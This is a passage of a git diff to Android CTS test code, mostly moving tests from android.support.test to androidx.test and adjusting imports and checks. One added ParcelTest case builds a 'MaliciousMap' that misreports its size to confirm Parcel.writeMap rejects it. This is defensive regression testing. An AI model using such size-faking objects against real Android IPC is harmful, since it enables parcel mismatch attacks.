             "EGL_IMG_context_priority",
             "EGL_KHR_fence_sync",
             "EGL_KHR_mutable_render_buffer",
             "EGL_KHR_wait_sync",
         };
+        final String vrHeadsetRequiredEglList[] = {
+            "EGL_EXT_image_gl_colorspace",
+        };
 
-        for (int i = 0; i < requiredEglList.length; ++i) {
-            assertTrue("Required EGL extension for VR high-performance is missing: " +
-                requiredEglList[i], hasExtension(extensions, requiredEglList[i]));
+        for (String requiredExtension : requiredEglList) {
+            assertTrue("Required EGL extension for VR high-performance is missing: " + requiredExtension,
+                    hasExtension(extensions, requiredExtension));
+        }
+        if (isVrHeadset) {
+            for (String requiredExtension : vrHeadsetRequiredEglList) {
+                assertTrue("Required EGL extension for VR high-performance is missing: " + requiredExtension,
+                        hasExtension(extensions, requiredExtension));
+            }
         }
     }
     @CddTest(requirement="7.1.4.1/C-6-1")
diff --git a/tests/tests/opengl/src/android/opengl/cts/ParamsTest.java b/tests/tests/opengl/src/android/opengl/cts/ParamsTest.java
index 96fd81e..56646bc 100644
--- a/tests/tests/opengl/src/android/opengl/cts/ParamsTest.java
+++ b/tests/tests/opengl/src/android/opengl/cts/ParamsTest.java
@@ -16,17 +16,19 @@
 
 package android.opengl.cts;
 
-import android.support.test.filters.SmallTest;
+import static android.opengl.GLES20.glDeleteBuffers;
+import static android.opengl.GLES30.glGenBuffers;
+
+import static org.junit.Assert.assertTrue;
+
+import androidx.test.filters.SmallTest;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.junit.runners.BlockJUnit4ClassRunner;
 
 import java.nio.IntBuffer;
 
-import static android.opengl.GLES20.glDeleteBuffers;
-import static android.opengl.GLES30.glGenBuffers;
-import static org.junit.Assert.assertTrue;
-
 /**
  * Tests for parameters validation.
  */
diff --git a/tests/tests/openglperf/Android.mk b/tests/tests/openglperf/Android.mk
index 78a25fc..03ba008 100644
--- a/tests/tests/openglperf/Android.mk
+++ b/tests/tests/openglperf/Android.mk
@@ -24,7 +24,7 @@
 # Include both the 32 and 64 bit versions
 LOCAL_MULTILIB := both
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt compatibility-device-util-axt
 
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
 
diff --git a/tests/tests/openglperf/AndroidManifest.xml b/tests/tests/openglperf/AndroidManifest.xml
index 9335a65..5ccdc1e 100644
--- a/tests/tests/openglperf/AndroidManifest.xml
+++ b/tests/tests/openglperf/AndroidManifest.xml
@@ -27,13 +27,13 @@
     <!-- Two activities are used -->
     <instrumentation
         android:targetPackage="com.replica.replicaisland"
-        android:name="android.support.test.runner.AndroidJUnitRunner" >
+        android:name="androidx.test.runner.AndroidJUnitRunner" >
         <meta-data android:name="listener"
             android:value="com.android.cts.runner.CtsTestRunListener" />
     </instrumentation>
     <instrumentation
         android:targetPackage="android.openglperf.cts"
-        android:name="android.support.test.runner.AndroidJUnitRunner">
+        android:name="androidx.test.runner.AndroidJUnitRunner">
         <meta-data android:name="listener"
             android:value="com.android.cts.runner.CtsTestRunListener" />
     </instrumentation>
diff --git a/tests/tests/os/Android.mk b/tests/tests/os/Android.mk
index 9cd0b87..cc14790 100644
--- a/tests/tests/os/Android.mk
+++ b/tests/tests/os/Android.mk
@@ -25,9 +25,9 @@
 LOCAL_MULTILIB := both
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-support-test \
-    compatibility-device-util \
-    ctstestrunner \
+    androidx.test.rules \
+    compatibility-device-util-axt \
+    ctstestrunner-axt \
     truth-prebuilt \
     guava \
     junit
diff --git a/tests/tests/os/AndroidManifest.xml b/tests/tests/os/AndroidManifest.xml
index 0644dd0..ef4893e 100644
--- a/tests/tests/os/AndroidManifest.xml
+++ b/tests/tests/os/AndroidManifest.xml
@@ -139,7 +139,7 @@
         <uses-library android:name="android.test.runner" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.os.cts"
                      android:label="CTS tests of android.os">
         <meta-data android:name="listener"
diff --git a/tests/tests/os/src/android/os/cts/BuildTest.java b/tests/tests/os/src/android/os/cts/BuildTest.java
index 7336fc0..b371ad1 100644
--- a/tests/tests/os/src/android/os/cts/BuildTest.java
+++ b/tests/tests/os/src/android/os/cts/BuildTest.java
@@ -43,7 +43,7 @@
     /** Tests that check the values of {@link Build#CPU_ABI} and {@link Build#CPU_ABI2}. */
     public void testCpuAbi() throws Exception {
         runTestCpuAbiCommon();
-        if (VMRuntime.getRuntime().is64Bit()) {
+        if (android.os.Process.is64Bit()) {
             runTestCpuAbi64();
         } else {
             runTestCpuAbi32();
diff --git a/tests/tests/os/src/android/os/cts/BuildVersionTest.java b/tests/tests/os/src/android/os/cts/BuildVersionTest.java
index d4ef860..7839109 100644
--- a/tests/tests/os/src/android/os/cts/BuildVersionTest.java
+++ b/tests/tests/os/src/android/os/cts/BuildVersionTest.java
@@ -19,19 +19,18 @@
 import android.content.res.AssetManager;
 import android.os.Build;
 import android.platform.test.annotations.RestrictedBuildTest;
-import android.support.test.InstrumentationRegistry;
 import android.util.Log;
 
-import java.io.BufferedReader;
-import java.io.InputStream;
-import java.io.InputStreamReader;
-import java.io.IOException;
-import java.util.Arrays;
-import java.util.HashSet;
-import java.util.Set;
+import androidx.test.InstrumentationRegistry;
 
 import junit.framework.TestCase;
 
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.util.HashSet;
+import java.util.Set;
+
 public class BuildVersionTest extends TestCase {
 
     private static final String LOG_TAG = "BuildVersionTest";
diff --git a/tests/tests/os/src/android/os/cts/EnvironmentTest.java b/tests/tests/os/src/android/os/cts/EnvironmentTest.java
index 6f259c3..0f2ac62 100644
--- a/tests/tests/os/src/android/os/cts/EnvironmentTest.java
+++ b/tests/tests/os/src/android/os/cts/EnvironmentTest.java
@@ -81,14 +81,17 @@
         // inodes can result in wasted space.
         final long maxsize = stat.f_blocks * stat.f_frsize;
         final long maxInodes = maxsize / 4096;
-        final long minsize = stat.f_bavail * stat.f_frsize;
-        final long minInodes = minsize / 32768;
+        // Assuming the smallest storage would be 4GB, min # of free inodes
+        // in EXT4/F2FS must be larger than 128k for Android to work properly.
+        final long minInodes = 128 * 1024;
 
-        if (stat.f_ffree >= minInodes && stat.f_ffree <= maxInodes) {
+        if (stat.f_ffree >= minInodes && stat.f_ffree <= maxInodes
+            && stat.f_favail <= stat.f_ffree) {
             // Sweet, sounds great!
         } else {
-            fail("Number of inodes " + stat.f_ffree + " not within sane range for partition of "
-                    + minsize + "," + maxsize + " bytes; expected [" + minInodes + "," + maxInodes + "]");
+            fail("Number of inodes " + stat.f_ffree + "/" + stat.f_favail
+              + " not within sane range for partition of " + maxsize + " bytes; expected ["
+              + minInodes + "," + maxInodes + "]");
         }
     }
 }
diff --git a/tests/tests/os/src/android/os/cts/ParcelFileDescriptorTest.java b/tests/tests/os/src/android/os/cts/ParcelFileDescriptorTest.java
index 38651d7..97db5f6 100644
--- a/tests/tests/os/src/android/os/cts/ParcelFileDescriptorTest.java
+++ b/tests/tests/os/src/android/os/cts/ParcelFileDescriptorTest.java
@@ -31,13 +31,14 @@
 import android.os.ParcelFileDescriptor.AutoCloseInputStream;
 import android.os.Parcelable;
 import android.os.cts.ParcelFileDescriptorPeer.FutureCloseListener;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
 import android.system.ErrnoException;
 import android.system.Os;
 import android.system.OsConstants;
 import android.test.MoreAsserts;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.google.common.util.concurrent.AbstractFuture;
 
 import junit.framework.ComparisonFailure;
diff --git a/tests/tests/os/src/android/os/cts/ParcelTest.java b/tests/tests/os/src/android/os/cts/ParcelTest.java
index c65c61b..987ab00 100644
--- a/tests/tests/os/src/android/os/cts/ParcelTest.java
+++ b/tests/tests/os/src/android/os/cts/ParcelTest.java
@@ -19,7 +19,11 @@
 import java.io.FileDescriptor;
 import java.io.Serializable;
 import java.util.ArrayList;
+import java.util.Collection;
 import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Map;
+import java.util.Set;
 
 import android.content.pm.Signature;
 import android.os.BadParcelableException;
@@ -3225,4 +3229,58 @@
         assertEquals(42, list.get(0).getValue());
         assertEquals(56, list.get(1).getValue());
     }
+
+    public void testMaliciousMapWrite() {
+        class MaliciousMap<K, V> extends HashMap<K, V> {
+            public int fakeSize = 0;
+            public boolean armed = false;
+
+            class FakeEntrySet extends HashSet<Entry<K, V>> {
+                public FakeEntrySet(Collection<? extends Entry<K, V>> c) {
+                    super(c);
+                }
+
+                @Override
+                public int size() {
+                    if (armed) {
+                        // Only return fake size on next call, to mitigate unexpected behavior.
+                        armed = false;
+                        return fakeSize;
+                    } else {
+                        return super.size();
+                    }
+                }
+            }
+
+            @Override
+            public Set<Map.Entry<K, V>> entrySet() {
+                return new FakeEntrySet(super.entrySet());
+            }
+        }
+
+        Parcel parcel = Parcel.obtain();
+
+        // Fake having more Map entries than there really are
+        MaliciousMap map = new MaliciousMap<String, String>();
+        map.fakeSize = 1;
+        map.armed = true;
+        try {
+            parcel.writeMap(map);
+            fail("Should have thrown a BadParcelableException");
+        } catch (BadParcelableException bpe) {
+            // good
+        }
+
+        // Fake having fewer Map entries than there really are
+        map = new MaliciousMap<String, String>();
+        map.put("key", "value");
+        map.fakeSize = 0;
+        map.armed = true;
+        try {
+            parcel.writeMap(map);
+            fail("Should have thrown a BadParcelableException");
+        } catch (BadParcelableException bpe) {
+            // good
+        }
+    }
 }
diff --git a/tests/tests/os/src/android/os/cts/RequiredComponentsTest.java b/tests/tests/os/src/android/os/cts/RequiredComponentsTest.java
index 378ac09..64e4394 100644
--- a/tests/tests/os/src/android/os/cts/RequiredComponentsTest.java
+++ b/tests/tests/os/src/android/os/cts/RequiredComponentsTest.java
@@ -16,6 +16,10 @@
 
 package android.os.cts;
 
+import static android.content.pm.PackageManager.MATCH_DIRECT_BOOT_AWARE;
+import static android.content.pm.PackageManager.MATCH_DIRECT_BOOT_UNAWARE;
+import static android.content.pm.PackageManager.MATCH_SYSTEM_ONLY;
+
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
@@ -25,18 +29,16 @@
 import android.content.pm.PackageManager;
 import android.content.pm.ResolveInfo;
 import android.net.Uri;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 import java.io.File;
 import java.util.List;
 
-import static android.content.pm.PackageManager.MATCH_DIRECT_BOOT_AWARE;
-import static android.content.pm.PackageManager.MATCH_DIRECT_BOOT_UNAWARE;
-import static android.content.pm.PackageManager.MATCH_SYSTEM_ONLY;
-
 /**
  * Tests whether all platform components that are implemented
  * as APKs for various reasons are present.
diff --git a/tests/tests/os/src/android/os/cts/SharedMemoryTest.java b/tests/tests/os/src/android/os/cts/SharedMemoryTest.java
index f21b095..fb547b3 100644
--- a/tests/tests/os/src/android/os/cts/SharedMemoryTest.java
+++ b/tests/tests/os/src/android/os/cts/SharedMemoryTest.java
@@ -16,15 +16,14 @@
 
 package android.os.cts;
 
-import static android.support.test.InstrumentationRegistry.getContext;
 import static android.system.OsConstants.PROT_READ;
 import static android.system.OsConstants.PROT_WRITE;
 
+import static androidx.test.InstrumentationRegistry.getContext;
+
 import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
 import android.app.Instrumentation;
@@ -35,12 +34,13 @@
 import android.os.IBinder;
 import android.os.RemoteException;
 import android.os.SharedMemory;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.system.ErrnoException;
 import android.system.OsConstants;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.google.common.util.concurrent.AbstractFuture;
 
 import org.junit.After;
diff --git a/tests/tests/os/src/android/os/cts/StrictModeTest.java b/tests/tests/os/src/android/os/cts/StrictModeTest.java
index dc868fc..bb0ca05 100644
--- a/tests/tests/os/src/android/os/cts/StrictModeTest.java
+++ b/tests/tests/os/src/android/os/cts/StrictModeTest.java
@@ -38,12 +38,13 @@
 import android.os.strictmode.FileUriExposedViolation;
 import android.os.strictmode.UntaggedSocketViolation;
 import android.os.strictmode.Violation;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
 import android.system.Os;
 import android.system.OsConstants;
 import android.util.Log;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
diff --git a/tests/tests/os/src/android/os/cts/VibrationEffectTest.java b/tests/tests/os/src/android/os/cts/VibrationEffectTest.java
index 50237f0..6bbd748 100644
--- a/tests/tests/os/src/android/os/cts/VibrationEffectTest.java
+++ b/tests/tests/os/src/android/os/cts/VibrationEffectTest.java
@@ -16,25 +16,21 @@
 
 package android.os.cts;
 
-import android.content.Context;
-import android.media.AudioAttributes;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.fail;
+
 import android.os.Parcel;
 import android.os.VibrationEffect;
-import android.os.Vibrator;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
-import android.util.Log;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 import java.util.Arrays;
 
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotEquals;
-import static org.junit.Assert.fail;
-
 @SmallTest
 @RunWith(AndroidJUnit4.class)
 public class VibrationEffectTest {
diff --git a/tests/tests/os/src/android/os/cts/VibratorTest.java b/tests/tests/os/src/android/os/cts/VibratorTest.java
index 0af18fa..1c9ee1b 100644
--- a/tests/tests/os/src/android/os/cts/VibratorTest.java
+++ b/tests/tests/os/src/android/os/cts/VibratorTest.java
@@ -16,21 +16,20 @@
 
 package android.os.cts;
 
-import android.content.Context;
+import static org.junit.Assert.fail;
+
 import android.media.AudioAttributes;
 import android.os.VibrationEffect;
 import android.os.Vibrator;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.LargeTest;
-import android.support.test.runner.AndroidJUnit4;
-import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.LargeTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import static org.junit.Assert.fail;
-
 @RunWith(AndroidJUnit4.class)
 @LargeTest
 public class VibratorTest {
diff --git a/tests/tests/packageinstaller/adminpackageinstaller/Android.mk b/tests/tests/packageinstaller/adminpackageinstaller/Android.mk
index dd8e042..ffb5df0 100755
--- a/tests/tests/packageinstaller/adminpackageinstaller/Android.mk
+++ b/tests/tests/packageinstaller/adminpackageinstaller/Android.mk
@@ -28,8 +28,9 @@
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
 	ub-uiautomator \
-	android-support-test \
-	androidx.legacy_legacy-support-v4
+	androidx.test.rules \
+	androidx.legacy_legacy-support-v4 \
+	compatibility-device-util-axt
 
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
 
diff --git a/tests/tests/packageinstaller/adminpackageinstaller/AndroidManifest.xml b/tests/tests/packageinstaller/adminpackageinstaller/AndroidManifest.xml
index e817233..6eabfb0 100755
--- a/tests/tests/packageinstaller/adminpackageinstaller/AndroidManifest.xml
+++ b/tests/tests/packageinstaller/adminpackageinstaller/AndroidManifest.xml
@@ -41,7 +41,7 @@
         </activity>
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:functionalTest="true"
                      android:targetPackage="android.packageinstaller.admin.cts"
                      android:label="External App Sources Tests"/>
diff --git a/tests/tests/packageinstaller/adminpackageinstaller/AndroidTest.xml b/tests/tests/packageinstaller/adminpackageinstaller/AndroidTest.xml
index 2e4a4fe..c83c612 100644
--- a/tests/tests/packageinstaller/adminpackageinstaller/AndroidTest.xml
+++ b/tests/tests/packageinstaller/adminpackageinstaller/AndroidTest.xml
@@ -18,6 +18,10 @@
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="framework" />
 
+    <target_preparer class="com.android.tradefed.targetprep.SwitchUserTargetPreparer">
+        <option name="user-type" value="system"/>
+    </target_preparer>
+
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <option name="run-command" value="mkdir -p /data/local/tmp/cts/packageinstaller/" />
         <option name="teardown-command" value="rm -rf /data/local/tmp/cts"/>
diff --git a/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/SessionCommitBroadcastTest.java b/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/SessionCommitBroadcastTest.java
index 17f97fe..55d0c3a 100644
--- a/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/SessionCommitBroadcastTest.java
+++ b/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/SessionCommitBroadcastTest.java
@@ -28,6 +28,8 @@
 import android.os.UserManager;
 import android.text.TextUtils;
 
+import com.android.compatibility.common.util.CddTest;
+
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 
@@ -49,6 +51,7 @@
         mThisAppLauncher = new ComponentName(mContext, LauncherActivity.class);
     }
 
+    @CddTest(requirement="3.2.3.4/C-0-1")
     public void testBroadcastNotReceivedForDifferentLauncher() throws Exception {
         if (!mHasFeature) {
             return;
@@ -85,6 +88,7 @@
         assertEquals(TEST_APP_PKG, info.getAppPackageName());
     }
 
+    @CddTest(requirement="3.2.3.4/C-0-1")
     public void testBroadcastReceivedForNewInstall() throws Exception {
         if (!mHasFeature) {
             return;
@@ -107,6 +111,7 @@
         setLauncher(mDefaultLauncher.flattenToString());
     }
 
+    @CddTest(requirement="3.2.3.4/C-0-1")
     public void testBroadcastReceivedForEnablingApp() throws Exception {
         if (!mHasFeature || !UserManager.supportsMultipleUsers()) {
             return;
diff --git a/tests/tests/packageinstaller/externalsources/Android.mk b/tests/tests/packageinstaller/externalsources/Android.mk
index b7346b5..8c6c008 100755
--- a/tests/tests/packageinstaller/externalsources/Android.mk
+++ b/tests/tests/packageinstaller/externalsources/Android.mk
@@ -25,9 +25,9 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 LOCAL_STATIC_JAVA_LIBRARIES := ub-uiautomator \
-                               android-support-test \
+                               androidx.test.rules \
                                androidx.legacy_legacy-support-v4 \
-                               compatibility-device-util
+                               compatibility-device-util-axt
 
 LOCAL_SDK_VERSION := current
 
diff --git a/tests/tests/packageinstaller/externalsources/AndroidManifest.xml b/tests/tests/packageinstaller/externalsources/AndroidManifest.xml
index 728ac72..23099ab 100755
--- a/tests/tests/packageinstaller/externalsources/AndroidManifest.xml
+++ b/tests/tests/packageinstaller/externalsources/AndroidManifest.xml
@@ -24,7 +24,7 @@
         <uses-library android:name="android.test.runner"/>
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:functionalTest="true"
                      android:targetPackage="android.packageinstaller.externalsources.cts"
                      android:label="External App Sources Tests"/>
diff --git a/tests/tests/packageinstaller/externalsources/src/android/packageinstaller/externalsources/cts/ExternalSourcesInstantAppsTest.java b/tests/tests/packageinstaller/externalsources/src/android/packageinstaller/externalsources/cts/ExternalSourcesInstantAppsTest.java
index 7aa6a57..e0f19d7 100644
--- a/tests/tests/packageinstaller/externalsources/src/android/packageinstaller/externalsources/cts/ExternalSourcesInstantAppsTest.java
+++ b/tests/tests/packageinstaller/externalsources/src/android/packageinstaller/externalsources/cts/ExternalSourcesInstantAppsTest.java
@@ -21,9 +21,10 @@
 import android.content.Context;
 import android.content.pm.PackageManager;
 import android.platform.test.annotations.AppModeInstant;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import com.android.compatibility.common.util.AppOpsUtils;
 
diff --git a/tests/tests/packageinstaller/externalsources/src/android/packageinstaller/externalsources/cts/ExternalSourcesTest.java b/tests/tests/packageinstaller/externalsources/src/android/packageinstaller/externalsources/cts/ExternalSourcesTest.java
index a29264b..9af6fa3 100644
--- a/tests/tests/packageinstaller/externalsources/src/android/packageinstaller/externalsources/cts/ExternalSourcesTest.java
+++ b/tests/tests/packageinstaller/externalsources/src/android/packageinstaller/externalsources/cts/ExternalSourcesTest.java
@@ -21,11 +21,12 @@
 import android.content.pm.ResolveInfo;
 import android.platform.test.annotations.AppModeFull;
 import android.provider.Settings;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.support.test.uiautomator.UiDevice;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.After;
 import org.junit.Assert;
 import org.junit.Before;
diff --git a/tests/tests/permission/Android.mk b/tests/tests/permission/Android.mk
index 2075137..1edd776 100644
--- a/tests/tests/permission/Android.mk
+++ b/tests/tests/permission/Android.mk
@@ -30,10 +30,10 @@
 LOCAL_JAVA_LIBRARIES := telephony-common
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner \
+    ctstestrunner-axt \
     guava \
     android-ex-camera2 \
-    compatibility-device-util
+    compatibility-device-util-axt
 
 LOCAL_JNI_SHARED_LIBRARIES := libctspermission_jni libnativehelper_compat_libc++
 
diff --git a/tests/tests/permission/AndroidManifest.xml b/tests/tests/permission/AndroidManifest.xml
index 118aeb5..e6d7a0e 100644
--- a/tests/tests/permission/AndroidManifest.xml
+++ b/tests/tests/permission/AndroidManifest.xml
@@ -64,7 +64,7 @@
         package. That runner cannot be added to this package either, since it
         relies on hidden APIs.
     -->
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.permission.cts"
                      android:label="CTS tests of android.permission">
         <meta-data android:name="listener"
diff --git a/tests/tests/permission/src/android/permission/cts/AppIdleStatePermissionTest.java b/tests/tests/permission/src/android/permission/cts/AppIdleStatePermissionTest.java
index 6a10918..c3631bc 100644
--- a/tests/tests/permission/src/android/permission/cts/AppIdleStatePermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/AppIdleStatePermissionTest.java
@@ -17,15 +17,16 @@
 
 import static org.junit.Assert.fail;
 
-import org.junit.runner.RunWith;
-import org.junit.Test;
-
 import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager;
 import android.os.UserHandle;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 import java.util.List;
 
diff --git a/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java b/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java
index d417a9a..e964719 100644
--- a/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java
@@ -16,32 +16,33 @@
 
 package android.permission.cts;
 
+import static androidx.test.InstrumentationRegistry.getContext;
+
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotEquals;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
-import static android.support.test.InstrumentationRegistry.getContext;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.runner.RunWith;
-import org.junit.Test;
-
 import android.content.pm.ApplicationInfo;
 import android.content.pm.PackageManager;
 import android.os.Environment;
 import android.platform.test.annotations.AppModeFull;
-import android.support.test.filters.LargeTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.system.ErrnoException;
 import android.system.Os;
 import android.system.OsConstants;
 import android.system.StructStatVfs;
 import android.util.Pair;
 
+import androidx.test.filters.LargeTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.io.BufferedReader;
 import java.io.File;
 import java.io.FileDescriptor;
@@ -50,27 +51,27 @@
 import java.io.FileNotFoundException;
 import java.io.FileOutputStream;
 import java.io.FileReader;
-import java.io.InputStream;
 import java.io.IOException;
+import java.io.InputStream;
 import java.io.OutputStream;
 import java.math.BigInteger;
 import java.nio.ByteBuffer;
 import java.nio.ByteOrder;
-import java.util.concurrent.Callable;
-import java.util.concurrent.ExecutionException;
-import java.util.concurrent.Executors;
-import java.util.concurrent.ExecutorService;
-import java.util.concurrent.Future;
-import java.util.concurrent.TimeoutException;
-import java.util.concurrent.TimeUnit;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
 import java.util.Arrays;
 import java.util.HashSet;
 import java.util.LinkedList;
 import java.util.List;
 import java.util.Scanner;
 import java.util.Set;
+import java.util.concurrent.Callable;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+import java.util.concurrent.Future;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
 
 /**
  * Verify certain permissions on the filesystem
diff --git a/tests/tests/permission/src/android/permission/cts/PermissionGroupChange.java b/tests/tests/permission/src/android/permission/cts/PermissionGroupChange.java
index e2e8b93..70788d7 100644
--- a/tests/tests/permission/src/android/permission/cts/PermissionGroupChange.java
+++ b/tests/tests/permission/src/android/permission/cts/PermissionGroupChange.java
@@ -29,12 +29,13 @@
 import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager;
 import android.platform.test.annotations.SecurityTest;
-import android.support.test.InstrumentationRegistry;
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.UiScrollable;
 import android.support.test.uiautomator.UiSelector;
 import android.widget.ScrollView;
 
+import androidx.test.InstrumentationRegistry;
+
 import com.android.compatibility.common.util.SystemUtil;
 
 import org.junit.Before;
diff --git a/tests/tests/permission/src/android/permission/cts/ServicesInstantAppsCannotAccessTests.java b/tests/tests/permission/src/android/permission/cts/ServicesInstantAppsCannotAccessTests.java
index 736cf2f..8609e33 100644
--- a/tests/tests/permission/src/android/permission/cts/ServicesInstantAppsCannotAccessTests.java
+++ b/tests/tests/permission/src/android/permission/cts/ServicesInstantAppsCannotAccessTests.java
@@ -29,8 +29,9 @@
 
 import android.content.Context;
 import android.platform.test.annotations.AppModeInstant;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/permission/src/android/permission/cts/SuspendAppsPermissionTest.java b/tests/tests/permission/src/android/permission/cts/SuspendAppsPermissionTest.java
index 2346d4a..383a4ca 100644
--- a/tests/tests/permission/src/android/permission/cts/SuspendAppsPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/SuspendAppsPermissionTest.java
@@ -26,12 +26,12 @@
 import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager;
 import android.content.pm.ResolveInfo;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Before;
-import org.junit.Ignore;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/permission/src/android/permission/cts/TelephonyManagerPermissionTest.java b/tests/tests/permission/src/android/permission/cts/TelephonyManagerPermissionTest.java
index d117e19..4d44f55 100644
--- a/tests/tests/permission/src/android/permission/cts/TelephonyManagerPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/TelephonyManagerPermissionTest.java
@@ -24,13 +24,15 @@
 import android.content.Intent;
 import android.content.pm.PackageManager;
 import android.media.AudioManager;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
 import android.telephony.TelephonyManager;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
+
 import java.util.Collections;
 
 /**
diff --git a/tests/tests/permission2/Android.mk b/tests/tests/permission2/Android.mk
index e44cd14..436ba27 100755
--- a/tests/tests/permission2/Android.mk
+++ b/tests/tests/permission2/Android.mk
@@ -27,8 +27,9 @@
